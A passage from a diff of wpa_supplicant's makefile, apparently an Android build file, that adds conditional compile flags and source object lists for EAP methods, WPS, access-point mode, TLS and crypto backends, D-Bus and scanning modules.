CONFIG_EAP_LEAP +# EAP-LEAP +ifeq ($(CONFIG_EAP_LEAP), dyn) +L_CFLAGS += -DEAP_LEAP_DYNAMIC +EAPDYN += src/eap_peer/eap_leap.so +else +L_CFLAGS += -DEAP_LEAP +OBJS += src/eap_peer/eap_leap.c +endif +MS_FUNCS=y +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_PSK +# EAP-PSK +ifeq ($(CONFIG_EAP_PSK), dyn) +L_CFLAGS += -DEAP_PSK_DYNAMIC +EAPDYN += src/eap_peer/eap_psk.so +else +L_CFLAGS += -DEAP_PSK +OBJS += src/eap_peer/eap_psk.c src/eap_common/eap_psk_common.c +OBJS_h += src/eap_server/eap_server_psk.c +endif +CONFIG_IEEE8021X_EAPOL=y +NEED_AES=y +NEED_AES_OMAC1=y +NEED_AES_ENCBLOCK=y +NEED_AES_EAX=y +endif + +ifdef CONFIG_EAP_AKA +# EAP-AKA +ifeq ($(CONFIG_EAP_AKA), dyn) +L_CFLAGS += -DEAP_AKA_DYNAMIC +EAPDYN += src/eap_peer/eap_aka.so +else +L_CFLAGS += -DEAP_AKA +OBJS += src/eap_peer/eap_aka.c +OBJS_h += src/eap_server/eap_server_aka.c +endif +CONFIG_IEEE8021X_EAPOL=y +CONFIG_EAP_SIM_COMMON=y +NEED_AES_CBC=y +endif + +ifdef CONFIG_EAP_PROXY +L_CFLAGS += -DCONFIG_EAP_PROXY +OBJS += src/eap_peer/eap_proxy_$(CONFIG_EAP_PROXY).c +include eap_proxy_$(CONFIG_EAP_PROXY).mk +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_AKA_PRIME +# EAP-AKA' +ifeq ($(CONFIG_EAP_AKA_PRIME), dyn) +L_CFLAGS += -DEAP_AKA_PRIME_DYNAMIC +else +L_CFLAGS += -DEAP_AKA_PRIME +endif +NEED_SHA256=y +endif + +ifdef CONFIG_EAP_SIM_COMMON +OBJS += src/eap_common/eap_sim_common.c +OBJS_h += src/eap_server/eap_sim_db.c +NEED_AES=y +NEED_FIPS186_2_PRF=y +endif + +ifdef CONFIG_EAP_FAST +# EAP-FAST +ifeq ($(CONFIG_EAP_FAST), dyn) +L_CFLAGS += -DEAP_FAST_DYNAMIC +EAPDYN += src/eap_peer/eap_fast.so +EAPDYN += src/eap_common/eap_fast_common.c +else +L_CFLAGS += -DEAP_FAST +OBJS += src/eap_peer/eap_fast.c src/eap_peer/eap_fast_pac.c +OBJS += src/eap_common/eap_fast_common.c +OBJS_h += src/eap_server/eap_server_fast.c +endif +TLS_FUNCS=y +CONFIG_IEEE8021X_EAPOL=y +NEED_T_PRF=y +endif + +ifdef CONFIG_EAP_PAX +# EAP-PAX +ifeq ($(CONFIG_EAP_PAX), dyn) +L_CFLAGS += -DEAP_PAX_DYNAMIC +EAPDYN += src/eap_peer/eap_pax.so +else +L_CFLAGS += -DEAP_PAX +OBJS += src/eap_peer/eap_pax.c src/eap_common/eap_pax_common.c +OBJS_h += src/eap_server/eap_server_pax.c +endif +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_SAKE +# EAP-SAKE +ifeq ($(CONFIG_EAP_SAKE), dyn) +L_CFLAGS += -DEAP_SAKE_DYNAMIC +EAPDYN += src/eap_peer/eap_sake.so +else +L_CFLAGS += -DEAP_SAKE +OBJS += src/eap_peer/eap_sake.c src/eap_common/eap_sake_common.c +OBJS_h += src/eap_server/eap_server_sake.c +endif +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_GPSK +# EAP-GPSK +ifeq ($(CONFIG_EAP_GPSK), dyn) +L_CFLAGS += -DEAP_GPSK_DYNAMIC +EAPDYN += src/eap_peer/eap_gpsk.so +else +L_CFLAGS += -DEAP_GPSK +OBJS += src/eap_peer/eap_gpsk.c src/eap_common/eap_gpsk_common.c +OBJS_h += src/eap_server/eap_server_gpsk.c +endif +CONFIG_IEEE8021X_EAPOL=y +ifdef CONFIG_EAP_GPSK_SHA256 +L_CFLAGS += -DEAP_GPSK_SHA256 +endif +NEED_SHA256=y +NEED_AES_OMAC1=y +endif + +ifdef CONFIG_EAP_PWD +L_CFLAGS += -DEAP_PWD +OBJS += src/eap_peer/eap_pwd.c src/eap_common/eap_pwd_common.c +OBJS_h += src/eap_server/eap_server_pwd.c +CONFIG_IEEE8021X_EAPOL=y +NEED_SHA256=y +endif + +ifdef CONFIG_EAP_EKE +# EAP-EKE +ifeq ($(CONFIG_EAP_EKE), dyn) +L_CFLAGS += -DEAP_EKE_DYNAMIC +EAPDYN += src/eap_peer/eap_eke.so +else +L_CFLAGS += -DEAP_EKE +OBJS += src/eap_peer/eap_eke.c src/eap_common/eap_eke_common.c +OBJS_h += src/eap_server/eap_server_eke.c +endif +CONFIG_IEEE8021X_EAPOL=y +NEED_DH_GROUPS=y +NEED_DH_GROUPS_ALL=y +NEED_SHA256=y +endif + +ifdef CONFIG_WPS +ifdef CONFIG_WPS2 +L_CFLAGS += -DCONFIG_WPS2 +endif + +# EAP-WSC +L_CFLAGS += -DCONFIG_WPS -DEAP_WSC +OBJS += wps_supplicant.c +OBJS += src/utils/uuid.c +OBJS += src/eap_peer/eap_wsc.c src/eap_common/eap_wsc_common.c +OBJS += src/wps/wps.c +OBJS += src/wps/wps_common.c +OBJS += src/wps/wps_attr_parse.c +OBJS += src/wps/wps_attr_build.c +OBJS += src/wps/wps_attr_process.c +OBJS += src/wps/wps_dev_attr.c +OBJS += src/wps/wps_enrollee.c +OBJS += src/wps/wps_registrar.c +OBJS_h += src/eap_server/eap_server_wsc.c +CONFIG_IEEE8021X_EAPOL=y +NEED_DH_GROUPS=y +NEED_SHA256=y +NEED_BASE64=y +NEED_80211_COMMON=y +NEED_AES_CBC=y +NEED_MODEXP=y + +ifdef CONFIG_WPS_NFC +L_CFLAGS += -DCONFIG_WPS_NFC +OBJS += src/wps/ndef.c +NEED_WPS_OOB=y +endif + +ifdef NEED_WPS_OOB +L_CFLAGS += -DCONFIG_WPS_OOB +endif + +ifdef CONFIG_WPS_ER +CONFIG_WPS_UPNP=y +L_CFLAGS += -DCONFIG_WPS_ER +OBJS += src/wps/wps_er.c +OBJS += src/wps/wps_er_ssdp.c +endif + +ifdef CONFIG_WPS_UPNP +L_CFLAGS += -DCONFIG_WPS_UPNP +OBJS += src/wps/wps_upnp.c +OBJS += src/wps/wps_upnp_ssdp.c +OBJS += src/wps/wps_upnp_web.c +OBJS += src/wps/wps_upnp_event.c +OBJS += src/wps/wps_upnp_ap.c +OBJS += src/wps/upnp_xml.c +OBJS += src/wps/httpread.c +OBJS += src/wps/http_client.c +OBJS += src/wps/http_server.c +endif + +ifdef CONFIG_WPS_STRICT +L_CFLAGS += -DCONFIG_WPS_STRICT +OBJS += src/wps/wps_validate.c +endif + +ifdef CONFIG_WPS_TESTING +L_CFLAGS += -DCONFIG_WPS_TESTING +endif + +ifdef CONFIG_WPS_REG_DISABLE_OPEN +L_CFLAGS += -DCONFIG_WPS_REG_DISABLE_OPEN +endif + +endif + +ifdef CONFIG_EAP_IKEV2 +# EAP-IKEv2 +ifeq ($(CONFIG_EAP_IKEV2), dyn) +L_CFLAGS += -DEAP_IKEV2_DYNAMIC +EAPDYN += src/eap_peer/eap_ikev2.so src/eap_peer/ikev2.c +EAPDYN += src/eap_common/eap_ikev2_common.c src/eap_common/ikev2_common.c +else +L_CFLAGS += -DEAP_IKEV2 +OBJS += src/eap_peer/eap_ikev2.c src/eap_peer/ikev2.c +OBJS += src/eap_common/eap_ikev2_common.c src/eap_common/ikev2_common.c +OBJS_h += src/eap_server/eap_server_ikev2.c +OBJS_h += src/eap_server/ikev2.c +endif +CONFIG_IEEE8021X_EAPOL=y +NEED_DH_GROUPS=y +NEED_DH_GROUPS_ALL=y +NEED_MODEXP=y +NEED_CIPHER=y +endif + +ifdef CONFIG_EAP_VENDOR_TEST +ifeq ($(CONFIG_EAP_VENDOR_TEST), dyn) +L_CFLAGS += -DEAP_VENDOR_TEST_DYNAMIC +EAPDYN += src/eap_peer/eap_vendor_test.so +else +L_CFLAGS += -DEAP_VENDOR_TEST +OBJS += src/eap_peer/eap_vendor_test.c +OBJS_h += src/eap_server/eap_server_vendor_test.c +endif +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_TNC +# EAP-TNC +L_CFLAGS += -DEAP_TNC +OBJS += src/eap_peer/eap_tnc.c +OBJS += src/eap_peer/tncc.c +OBJS_h += src/eap_server/eap_server_tnc.c +OBJS_h += src/eap_server/tncs.c +NEED_BASE64=y +ifndef CONFIG_NATIVE_WINDOWS +ifndef CONFIG_DRIVER_BSD +LIBS += -ldl +endif +endif +endif + +ifdef CONFIG_IEEE8021X_EAPOL +# IEEE 802.1X/EAPOL state machines (e.g., for RADIUS authentication) +L_CFLAGS += -DIEEE8021X_EAPOL +OBJS += src/eapol_supp/eapol_supp_sm.c +OBJS += src/eap_peer/eap.c src/eap_peer/eap_methods.c +NEED_EAP_COMMON=y +ifdef CONFIG_DYNAMIC_EAP_METHODS +L_CFLAGS += -DCONFIG_DYNAMIC_EAP_METHODS +LIBS += -ldl -rdynamic +endif +endif + +ifdef CONFIG_AP +NEED_80211_COMMON=y +NEED_EAP_COMMON=y +NEED_RSN_AUTHENTICATOR=y +L_CFLAGS += -DCONFIG_AP +OBJS += ap.c +L_CFLAGS += -DCONFIG_NO_RADIUS +L_CFLAGS += -DCONFIG_NO_ACCOUNTING +L_CFLAGS += -DCONFIG_NO_VLAN +OBJS += src/ap/hostapd.c +OBJS += src/ap/wpa_auth_glue.c +OBJS += src/ap/utils.c +OBJS += src/ap/authsrv.c +OBJS += src/ap/ap_config.c +OBJS += src/utils/ip_addr.c +OBJS += src/ap/sta_info.c +OBJS += src/ap/tkip_countermeasures.c +OBJS += src/ap/ap_mlme.c +OBJS += src/ap/ieee802_1x.c +OBJS += src/eapol_auth/eapol_auth_sm.c +OBJS += src/ap/ieee802_11_auth.c +OBJS += src/ap/ieee802_11_shared.c +OBJS += src/ap/drv_callbacks.c +OBJS += src/ap/ap_drv_ops.c +OBJS += src/ap/beacon.c +OBJS += src/ap/eap_user_db.c +ifdef CONFIG_IEEE80211N +OBJS += src/ap/ieee802_11_ht.c +ifdef CONFIG_IEEE80211AC +OBJS += src/ap/ieee802_11_vht.c +endif +endif +ifdef CONFIG_WNM +OBJS += src/ap/wnm_ap.c +endif +ifdef CONFIG_CTRL_IFACE +OBJS += src/ap/ctrl_iface_ap.c +endif + +L_CFLAGS += -DEAP_SERVER -DEAP_SERVER_IDENTITY +OBJS += src/eap_server/eap_server.c +OBJS += src/eap_server/eap_server_identity.c +OBJS += src/eap_server/eap_server_methods.c + +ifdef CONFIG_IEEE80211N +L_CFLAGS += -DCONFIG_IEEE80211N +ifdef CONFIG_IEEE80211AC +L_CFLAGS += -DCONFIG_IEEE80211AC +endif +endif + +ifdef NEED_AP_MLME +OBJS += src/ap/wmm.c +OBJS += src/ap/ap_list.c +OBJS += src/ap/ieee802_11.c +OBJS += src/ap/hw_features.c +OBJS += src/ap/dfs.c +L_CFLAGS += -DNEED_AP_MLME +endif +ifdef CONFIG_WPS +L_CFLAGS += -DEAP_SERVER_WSC +OBJS += src/ap/wps_hostapd.c +OBJS += src/eap_server/eap_server_wsc.c +endif +ifdef CONFIG_INTERWORKING +OBJS += src/ap/gas_serv.c +endif +ifdef CONFIG_HS20 +OBJS += src/ap/hs20.c +endif +endif + +ifdef NEED_RSN_AUTHENTICATOR +L_CFLAGS += -DCONFIG_NO_RADIUS +NEED_AES_WRAP=y +OBJS += src/ap/wpa_auth.c +OBJS += src/ap/wpa_auth_ie.c +OBJS += src/ap/pmksa_cache_auth.c +ifdef CONFIG_IEEE80211R +OBJS += src/ap/wpa_auth_ft.c +endif +ifdef CONFIG_PEERKEY +OBJS += src/ap/peerkey_auth.c +endif +endif + +ifdef CONFIG_EAP_SERVER +L_CFLAGS += -DEAP_SERVER +OBJS_h += src/eap_server/eap_server.c +OBJS_h += src/eap_server/eap_server_identity.c +OBJS_h += src/eap_server/eap_server_methods.c +endif + +ifdef CONFIG_RADIUS_CLIENT +OBJS_h += src/utils/ip_addr.c +OBJS_h += src/radius/radius.c +OBJS_h += src/radius/radius_client.c +endif + +ifdef CONFIG_AUTHENTICATOR +OBJS_h += src/eapol_auth/eapol_auth_sm.c +OBJS_h += src/ap/ieee802_1x.c +endif + +ifdef CONFIG_WPA_AUTHENTICATOR +OBJS_h += src/ap/wpa_auth.c +OBJS_h += src/ap/wpa_auth_ie.c +OBJS_h += src/ap/pmksa_cache_auth.c +ifdef CONFIG_IEEE80211R +OBJS_h += src/ap/wpa_auth_ft.c +endif +ifdef CONFIG_PEERKEY +OBJS_h += src/ap/peerkey_auth.c +endif +endif + +ifdef CONFIG_PCSC +# PC/SC interface for smartcards (USIM, GSM SIM) +L_CFLAGS += -DPCSC_FUNCS -I/usr/include/PCSC +OBJS += src/utils/pcsc_funcs.c +# -lpthread may not be needed depending on how pcsc-lite was configured +ifdef CONFIG_NATIVE_WINDOWS +#Once MinGW gets support for WinScard, -lwinscard could be used instead of the +#dynamic symbol loading that is now used in pcsc_funcs.c +#LIBS += -lwinscard +else +LIBS += -lpcsclite -lpthread +endif +endif + +ifdef CONFIG_SIM_SIMULATOR +L_CFLAGS += -DCONFIG_SIM_SIMULATOR +NEED_MILENAGE=y +endif + +ifdef CONFIG_USIM_SIMULATOR +L_CFLAGS += -DCONFIG_USIM_SIMULATOR +NEED_MILENAGE=y +endif + +ifdef NEED_MILENAGE +OBJS += src/crypto/milenage.c +NEED_AES_ENCBLOCK=y +endif + +ifdef CONFIG_PKCS12 +L_CFLAGS += -DPKCS12_FUNCS +endif + +ifdef CONFIG_SMARTCARD +L_CFLAGS += -DCONFIG_SMARTCARD +endif + +ifdef MS_FUNCS +OBJS += src/crypto/ms_funcs.c +NEED_DES=y +NEED_MD4=y +endif + +ifdef CHAP +OBJS += src/eap_common/chap.c +endif + +ifdef TLS_FUNCS +NEED_DES=y +# Shared TLS functions (needed for EAP_TLS, EAP_PEAP, EAP_TTLS, and EAP_FAST) +OBJS += src/eap_peer/eap_tls_common.c +OBJS_h += src/eap_server/eap_server_tls_common.c +ifndef CONFIG_FIPS +NEED_TLS_PRF=y +NEED_SHA1=y +NEED_MD5=y +endif +endif + +ifndef CONFIG_TLS +CONFIG_TLS=openssl +endif + +ifdef CONFIG_TLSV11 +L_CFLAGS += -DCONFIG_TLSV11 +endif + +ifdef CONFIG_TLSV12 +L_CFLAGS += -DCONFIG_TLSV12 +NEED_SHA256=y +endif + +ifeq ($(CONFIG_TLS), openssl) +ifdef TLS_FUNCS +L_CFLAGS += -DEAP_TLS_OPENSSL +OBJS += src/crypto/tls_openssl.c +LIBS += -lssl +endif +OBJS += src/crypto/crypto_openssl.c +OBJS_p += src/crypto/crypto_openssl.c +ifdef NEED_FIPS186_2_PRF +OBJS += src/crypto/fips_prf_openssl.c +endif +LIBS += -lcrypto +LIBS_p += -lcrypto +ifdef CONFIG_TLS_ADD_DL +LIBS += -ldl +LIBS_p += -ldl +endif +endif + +ifeq ($(CONFIG_TLS), gnutls) +ifdef TLS_FUNCS +OBJS += src/crypto/tls_gnutls.c +LIBS += -lgnutls -lgpg-error +endif +OBJS += src/crypto/crypto_gnutls.c +OBJS_p += src/crypto/crypto_gnutls.c +ifdef NEED_FIPS186_2_PRF +OBJS += src/crypto/fips_prf_gnutls.c +endif +LIBS += -lgcrypt +LIBS_p += -lgcrypt +CONFIG_INTERNAL_SHA256=y +CONFIG_INTERNAL_RC4=y +CONFIG_INTERNAL_DH_GROUP5=y +endif + +ifeq ($(CONFIG_TLS), schannel) +ifdef TLS_FUNCS +OBJS += src/crypto/tls_schannel.c +endif +OBJS += src/crypto/crypto_cryptoapi.c +OBJS_p += src/crypto/crypto_cryptoapi.c +ifdef NEED_FIPS186_2_PRF +OBJS += src/crypto/fips_prf_cryptoapi.c +endif +CONFIG_INTERNAL_SHA256=y +CONFIG_INTERNAL_RC4=y +CONFIG_INTERNAL_DH_GROUP5=y +endif + +ifeq ($(CONFIG_TLS), nss) +ifdef TLS_FUNCS +OBJS += src/crypto/tls_nss.c +LIBS += -lssl3 +endif +OBJS += src/crypto/crypto_nss.c +OBJS_p += src/crypto/crypto_nss.c +ifdef NEED_FIPS186_2_PRF +OBJS += src/crypto/fips_prf_nss.c +endif +LIBS += -lnss3 +LIBS_p += -lnss3 +CONFIG_INTERNAL_MD4=y +CONFIG_INTERNAL_DH_GROUP5=y +endif + +ifeq ($(CONFIG_TLS), internal) +ifndef CONFIG_CRYPTO +CONFIG_CRYPTO=internal +endif +ifdef TLS_FUNCS +OBJS += src/crypto/crypto_internal-rsa.c +OBJS += src/crypto/tls_internal.c +OBJS += src/tls/tlsv1_common.c +OBJS += src/tls/tlsv1_record.c +OBJS += src/tls/tlsv1_cred.c +OBJS += src/tls/tlsv1_client.c +OBJS += src/tls/tlsv1_client_write.c +OBJS += src/tls/tlsv1_client_read.c +OBJS += src/tls/asn1.c +OBJS += src/tls/rsa.c +OBJS += src/tls/x509v3.c +OBJS += src/tls/pkcs1.c +OBJS += src/tls/pkcs5.c +OBJS += src/tls/pkcs8.c +NEED_SHA256=y +NEED_BASE64=y +NEED_TLS_PRF=y +ifdef CONFIG_TLSV12 +NEED_TLS_PRF_SHA256=y +endif +NEED_MODEXP=y +NEED_CIPHER=y +L_CFLAGS += -DCONFIG_TLS_INTERNAL_CLIENT +endif +ifdef NEED_CIPHER +NEED_DES=y +OBJS += src/crypto/crypto_internal-cipher.c +endif +ifdef NEED_MODEXP +OBJS += src/crypto/crypto_internal-modexp.c +OBJS += src/tls/bignum.c +endif +ifeq ($(CONFIG_CRYPTO), libtomcrypt) +OBJS += src/crypto/crypto_libtomcrypt.c +OBJS_p += src/crypto/crypto_libtomcrypt.c +LIBS += -ltomcrypt -ltfm +LIBS_p += -ltomcrypt -ltfm +CONFIG_INTERNAL_SHA256=y +CONFIG_INTERNAL_RC4=y +CONFIG_INTERNAL_DH_GROUP5=y +endif +ifeq ($(CONFIG_CRYPTO), internal) +OBJS += src/crypto/crypto_internal.c +OBJS_p += src/crypto/crypto_internal.c +NEED_AES_ENC=y +L_CFLAGS += -DCONFIG_CRYPTO_INTERNAL +ifdef CONFIG_INTERNAL_LIBTOMMATH +L_CFLAGS += -DCONFIG_INTERNAL_LIBTOMMATH +ifdef CONFIG_INTERNAL_LIBTOMMATH_FAST +L_CFLAGS += -DLTM_FAST +endif +else +LIBS += -ltommath +LIBS_p += -ltommath +endif +CONFIG_INTERNAL_AES=y +CONFIG_INTERNAL_DES=y +CONFIG_INTERNAL_SHA1=y +CONFIG_INTERNAL_MD4=y +CONFIG_INTERNAL_MD5=y +CONFIG_INTERNAL_SHA256=y +CONFIG_INTERNAL_RC4=y +CONFIG_INTERNAL_DH_GROUP5=y +endif +ifeq ($(CONFIG_CRYPTO), cryptoapi) +OBJS += src/crypto/crypto_cryptoapi.c +OBJS_p += src/crypto/crypto_cryptoapi.c +L_CFLAGS += -DCONFIG_CRYPTO_CRYPTOAPI +CONFIG_INTERNAL_SHA256=y +CONFIG_INTERNAL_RC4=y +endif +endif + +ifeq ($(CONFIG_TLS), none) +ifdef TLS_FUNCS +OBJS += src/crypto/tls_none.c +L_CFLAGS += -DEAP_TLS_NONE +CONFIG_INTERNAL_AES=y +CONFIG_INTERNAL_SHA1=y +CONFIG_INTERNAL_MD5=y +endif +OBJS += src/crypto/crypto_none.c +OBJS_p += src/crypto/crypto_none.c +CONFIG_INTERNAL_SHA256=y +CONFIG_INTERNAL_RC4=y +endif + +ifdef TLS_FUNCS +ifdef CONFIG_SMARTCARD +ifndef CONFIG_NATIVE_WINDOWS +ifneq ($(CONFIG_L2_PACKET), freebsd) +LIBS += -ldl +endif +endif +endif +endif + +ifndef TLS_FUNCS +OBJS += src/crypto/tls_none.c +ifeq ($(CONFIG_TLS), internal) +CONFIG_INTERNAL_AES=y +CONFIG_INTERNAL_SHA1=y +CONFIG_INTERNAL_MD5=y +CONFIG_INTERNAL_RC4=y +endif +endif + +AESOBJS = # none so far (see below) +ifdef CONFIG_INTERNAL_AES +AESOBJS += src/crypto/aes-internal.c src/crypto/aes-internal-dec.c +endif + +AESOBJS += src/crypto/aes-unwrap.c +ifdef NEED_AES_EAX +AESOBJS += src/crypto/aes-eax.c +NEED_AES_CTR=y +endif +ifdef NEED_AES_CTR +AESOBJS += src/crypto/aes-ctr.c +endif +ifdef NEED_AES_ENCBLOCK +AESOBJS += src/crypto/aes-encblock.c +endif +ifdef NEED_AES_OMAC1 +NEED_AES_ENC=y +ifdef CONFIG_OPENSSL_CMAC +L_CFLAGS += -DCONFIG_OPENSSL_CMAC +else +AESOBJS += src/crypto/aes-omac1.c +endif +endif +ifdef NEED_AES_WRAP +NEED_AES_ENC=y +AESOBJS += src/crypto/aes-wrap.c +endif +ifdef NEED_AES_CBC +NEED_AES_ENC=y +AESOBJS += src/crypto/aes-cbc.c +endif +ifdef NEED_AES_ENC +ifdef CONFIG_INTERNAL_AES +AESOBJS += src/crypto/aes-internal-enc.c +endif +endif +ifdef NEED_AES +OBJS += $(AESOBJS) +endif + +SHA1OBJS = +ifdef NEED_SHA1 +ifneq ($(CONFIG_TLS), openssl) +SHA1OBJS += src/crypto/sha1.c +endif +SHA1OBJS += src/crypto/sha1-prf.c +ifdef CONFIG_INTERNAL_SHA1 +SHA1OBJS += src/crypto/sha1-internal.c +ifdef NEED_FIPS186_2_PRF +SHA1OBJS += src/crypto/fips_prf_internal.c +endif +endif +ifdef CONFIG_NO_WPA_PASSPHRASE +L_CFLAGS += -DCONFIG_NO_PBKDF2 +else +ifneq ($(CONFIG_TLS), openssl) +SHA1OBJS += src/crypto/sha1-pbkdf2.c +endif +endif +ifdef NEED_T_PRF +SHA1OBJS += src/crypto/sha1-tprf.c +endif +ifdef NEED_TLS_PRF +SHA1OBJS += src/crypto/sha1-tlsprf.c +endif +endif + +MD5OBJS = +ifndef CONFIG_FIPS +MD5OBJS += src/crypto/md5.c +endif +ifdef NEED_MD5 +ifdef CONFIG_INTERNAL_MD5 +MD5OBJS += src/crypto/md5-internal.c +endif +OBJS += $(MD5OBJS) +OBJS_p += $(MD5OBJS) +endif + +ifdef NEED_MD4 +ifdef CONFIG_INTERNAL_MD4 +OBJS += src/crypto/md4-internal.c +endif +endif + +DESOBJS = # none needed when not internal +ifdef NEED_DES +ifdef CONFIG_INTERNAL_DES +DESOBJS += src/crypto/des-internal.c +endif +endif + +ifdef NEED_RC4 +ifdef CONFIG_INTERNAL_RC4 +OBJS += src/crypto/rc4.c +endif +endif + +SHA256OBJS = # none by default +ifdef NEED_SHA256 +L_CFLAGS += -DCONFIG_SHA256 +ifneq ($(CONFIG_TLS), openssl) +SHA256OBJS += src/crypto/sha256.c +endif +SHA256OBJS += src/crypto/sha256-prf.c +ifdef CONFIG_INTERNAL_SHA256 +SHA256OBJS += src/crypto/sha256-internal.c +endif +ifdef NEED_TLS_PRF_SHA256 +SHA256OBJS += src/crypto/sha256-tlsprf.c +endif +OBJS += $(SHA256OBJS) +endif + +ifdef NEED_DH_GROUPS +OBJS += src/crypto/dh_groups.c +endif +ifdef NEED_DH_GROUPS_ALL +L_CFLAGS += -DALL_DH_GROUPS +endif +ifdef CONFIG_INTERNAL_DH_GROUP5 +ifdef NEED_DH_GROUPS +OBJS += src/crypto/dh_group5.c +endif +endif + +ifdef NEED_ECC +L_CFLAGS += -DCONFIG_ECC +endif + +ifdef CONFIG_NO_RANDOM_POOL +L_CFLAGS += -DCONFIG_NO_RANDOM_POOL +else +OBJS += src/crypto/random.c +endif + +ifdef CONFIG_CTRL_IFACE +ifeq ($(CONFIG_CTRL_IFACE), y) +ifdef CONFIG_NATIVE_WINDOWS +CONFIG_CTRL_IFACE=named_pipe +else +CONFIG_CTRL_IFACE=unix +endif +endif +L_CFLAGS += -DCONFIG_CTRL_IFACE +ifeq ($(CONFIG_CTRL_IFACE), unix) +L_CFLAGS += -DCONFIG_CTRL_IFACE_UNIX +endif +ifeq ($(CONFIG_CTRL_IFACE), udp) +L_CFLAGS += -DCONFIG_CTRL_IFACE_UDP +endif +ifeq ($(CONFIG_CTRL_IFACE), named_pipe) +L_CFLAGS += -DCONFIG_CTRL_IFACE_NAMED_PIPE +endif +ifeq ($(CONFIG_CTRL_IFACE), udp-remote) +CONFIG_CTRL_IFACE=udp +L_CFLAGS += -DCONFIG_CTRL_IFACE_UDP +L_CFLAGS += -DCONFIG_CTRL_IFACE_UDP_REMOTE +endif +OBJS += ctrl_iface.c ctrl_iface_$(CONFIG_CTRL_IFACE).c +endif + +ifdef CONFIG_CTRL_IFACE_DBUS +DBUS=y +DBUS_CFLAGS += -DCONFIG_CTRL_IFACE_DBUS -DDBUS_API_SUBJECT_TO_CHANGE +DBUS_OBJS += dbus/dbus_old.c dbus/dbus_old_handlers.c +ifdef CONFIG_WPS +DBUS_OBJS += dbus/dbus_old_handlers_wps.c +endif +DBUS_OBJS += dbus/dbus_dict_helpers.c +ifndef DBUS_LIBS +DBUS_LIBS := $(shell $(PKG_CONFIG) --libs dbus-1) +endif +ifndef DBUS_INCLUDE +DBUS_INCLUDE := $(shell $(PKG_CONFIG) --cflags dbus-1) +endif +DBUS_CFLAGS += $(DBUS_INCLUDE) +endif + +ifdef CONFIG_CTRL_IFACE_DBUS_NEW +DBUS=y +DBUS_CFLAGS += -DCONFIG_CTRL_IFACE_DBUS_NEW +DBUS_OBJS ?= dbus/dbus_dict_helpers.c +DBUS_OBJS += dbus/dbus_new_helpers.c +DBUS_OBJS += dbus/dbus_new.c dbus/dbus_new_handlers.c +ifdef CONFIG_WPS +DBUS_OBJS += dbus/dbus_new_handlers_wps.c +endif +ifdef CONFIG_P2P +DBUS_OBJS += dbus/dbus_new_handlers_p2p.c +endif +ifndef DBUS_LIBS +DBUS_LIBS := $(shell $(PKG_CONFIG) --libs dbus-1) +endif +ifndef DBUS_INCLUDE +DBUS_INCLUDE := $(shell $(PKG_CONFIG) --cflags dbus-1) +endif +ifdef CONFIG_CTRL_IFACE_DBUS_INTRO +DBUS_OBJS += dbus/dbus_new_introspect.c +DBUS_CFLAGS += -DCONFIG_CTRL_IFACE_DBUS_INTRO +endif +DBUS_CFLAGS += $(DBUS_INCLUDE) +endif + +ifdef DBUS +DBUS_CFLAGS += -DCONFIG_DBUS +DBUS_OBJS += dbus/dbus_common.c +endif + +OBJS += $(DBUS_OBJS) +L_CFLAGS += $(DBUS_CFLAGS) +LIBS += $(DBUS_LIBS) + +ifdef CONFIG_READLINE +OBJS_c += src/utils/edit_readline.c +LIBS_c += -lncurses -lreadline +else +ifdef CONFIG_WPA_CLI_EDIT +OBJS_c += src/utils/edit.c +else +OBJS_c += src/utils/edit_simple.c +endif +endif + +ifdef CONFIG_NATIVE_WINDOWS +L_CFLAGS += -DCONFIG_NATIVE_WINDOWS +LIBS += -lws2_32 -lgdi32 -lcrypt32 +LIBS_c += -lws2_32 +LIBS_p += -lws2_32 -lgdi32 +ifeq ($(CONFIG_CRYPTO), cryptoapi) +LIBS_p += -lcrypt32 +endif +endif + +ifdef CONFIG_NO_STDOUT_DEBUG +L_CFLAGS += -DCONFIG_NO_STDOUT_DEBUG +ifndef CONFIG_CTRL_IFACE +L_CFLAGS += -DCONFIG_NO_WPA_MSG +endif +endif + +ifdef CONFIG_ANDROID_LOG +L_CFLAGS += -DCONFIG_ANDROID_LOG +endif + +ifdef CONFIG_IPV6 +# for eapol_test only +L_CFLAGS += -DCONFIG_IPV6 +endif + +ifdef NEED_BASE64 +OBJS += src/utils/base64.c +endif + +ifdef NEED_SME +NEED_80211_COMMON=y +OBJS += sme.c +L_CFLAGS += -DCONFIG_SME +endif + +ifdef NEED_80211_COMMON +OBJS += src/common/ieee802_11_common.c +endif + +ifdef NEED_EAP_COMMON +OBJS += src/eap_common/eap_common.c +endif + +ifndef CONFIG_MAIN +CONFIG_MAIN=main +endif + +ifdef CONFIG_DEBUG_SYSLOG +L_CFLAGS += -DCONFIG_DEBUG_SYSLOG +ifdef CONFIG_DEBUG_SYSLOG_FACILITY +L_CFLAGS += -DLOG_HOSTAPD="$(CONFIG_DEBUG_SYSLOG_FACILITY)" +endif +endif + +ifdef CONFIG_DEBUG_LINUX_TRACING +L_CFLAGS += -DCONFIG_DEBUG_LINUX_TRACING +endif + +ifdef CONFIG_DEBUG_FILE +L_CFLAGS += -DCONFIG_DEBUG_FILE +endif + +ifdef CONFIG_DELAYED_MIC_ERROR_REPORT +L_CFLAGS += -DCONFIG_DELAYED_MIC_ERROR_REPORT +endif + +ifdef CONFIG_FIPS +L_CFLAGS += -DCONFIG_FIPS +endif + +OBJS += $(SHA1OBJS) $(DESOBJS) + +OBJS_p += $(SHA1OBJS) +OBJS_p += $(SHA256OBJS) + +ifdef CONFIG_BGSCAN_SIMPLE +L_CFLAGS += -DCONFIG_BGSCAN_SIMPLE +OBJS += bgscan_simple.c +NEED_BGSCAN=y +endif + +ifdef CONFIG_BGSCAN_LEARN +L_CFLAGS += -DCONFIG_BGSCAN_LEARN +OBJS += bgscan_learn.c +NEED_BGSCAN=y +endif + +ifdef NEED_BGSCAN +L_CFLAGS += -DCONFIG_BGSCAN +OBJS += bgscan.c +endif + +ifdef CONFIG_AUTOSCAN_EXPONENTIAL +L_CFLAGS += -DCONFIG_AUTOSCAN_EXPONENTIAL +OBJS += autoscan_exponential.c +NEED_AUTOSCAN=y +endif + +ifdef CONFIG_AUTOSCAN_PERIODIC +L_CFLAGS += -DCONFIG_AUTOSCAN_PERIODIC +OBJS += autoscan_periodic.c +NEED_AUTOSCAN=y +endif + 